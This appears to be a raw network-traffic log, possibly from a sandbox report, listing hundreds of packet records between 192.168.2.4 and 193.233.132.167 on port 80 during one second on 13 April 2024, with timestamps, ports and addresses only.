Apr 13, 2024 20:21:09.072407961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072413921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072424889 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072438955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072441101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072458029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072463989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072474957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072490931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072491884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072505951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072509050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072525024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072532892 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072542906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072551012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072559118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072567940 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072576046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072583914 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072592974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072599888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072609901 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072617054 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072626114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072633982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072643042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072652102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072660923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072676897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072691917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072691917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072710037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072715044 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072727919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072743893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072745085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072762012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072762012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072777987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072788000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072794914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072804928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072810888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072824001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072828054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072835922 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072844982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072855949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072860956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072875023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072877884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072885036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072895050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072906971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072911978 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072926998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072927952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072945118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072947025 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072957993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072961092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072977066 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072978973 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072993994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073004007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073009968 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073024988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073036909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073041916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073057890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073065042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073076010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073086023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073092937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073107004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073108912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073121071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073124886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073137045 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073142052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073158026 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073159933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073170900 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073175907 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073190928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073194027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073203087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073210001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073225021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073225975 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073241949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073241949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073256969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073259115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073271036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073276997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073291063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073293924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073309898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073311090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073318958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073328018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073350906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073352098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073368073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073376894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073385000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073400974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073401928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073411942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073416948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073434114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073434114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073443890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073450089 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073462963 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073466063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073479891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073482990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073489904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073499918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073509932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073518038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073525906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073534012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073542118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073550940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073554993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073568106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073584080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073596954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073596954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073601007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073609114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073617935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073626041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073633909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073635101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073651075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073666096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073673964 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073683023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073698997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073699951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073719025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073725939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073735952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073748112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073753119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073769093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073779106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073786974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073801994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073802948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073818922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073828936 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073837042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073842049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073853016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073868990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073870897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073883057 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073885918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073899031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073901892 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073918104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073919058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073935032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073936939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073945999 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073951006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073966980 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073966980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073976994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073982954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.073996067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.073998928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074009895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074016094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074028969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074032068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074048042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074048042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074057102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074064016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074076891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074079990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074090958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074096918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074110985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074114084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074120998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074130058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074141979 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074146986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074152946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074163914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074172974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074181080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074192047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074197054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074213982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074215889 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074223042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074233055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074239969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074249983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074253082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074265957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074274063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074281931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074282885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074299097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074305058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074316025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074320078 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074331999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074342012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074348927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074351072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074366093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074371099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074383020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074390888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074399948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074404955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074417114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074418068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074433088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074436903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074449062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074459076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074466944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074471951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074485064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074491978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074502945 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074511051 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074520111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074523926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074536085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074542999 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074552059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074553013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074569941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074578047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074588060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074590921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074604988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074614048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074623108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074624062 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074640036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074645042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074656963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074667931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074676037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074678898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074692011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074695110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074708939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074709892 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074723005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074726105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074742079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074743986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074759960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074760914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074775934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074778080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074791908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074795008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074810982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074810982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074825048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074827909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074842930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074845076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074860096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074862003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074877977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074877977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074892044 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074894905 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074912071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074912071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074927092 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074928999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074945927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074947119 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074961901 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074963093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074979067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074979067 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.074994087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.074996948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075011969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075012922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075030088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075031042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075048923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075048923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075063944 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075066090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075082064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075082064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075097084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075098991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075114965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075115919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075129986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075133085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075149059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075149059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075165033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075165987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075184107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075185061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075201035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075206995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075218916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075222969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075234890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075241089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075251102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075254917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075268030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075270891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075284958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075284958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075299025 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075301886 CEST	80	49739	193.233.132.167	192.168.2.4
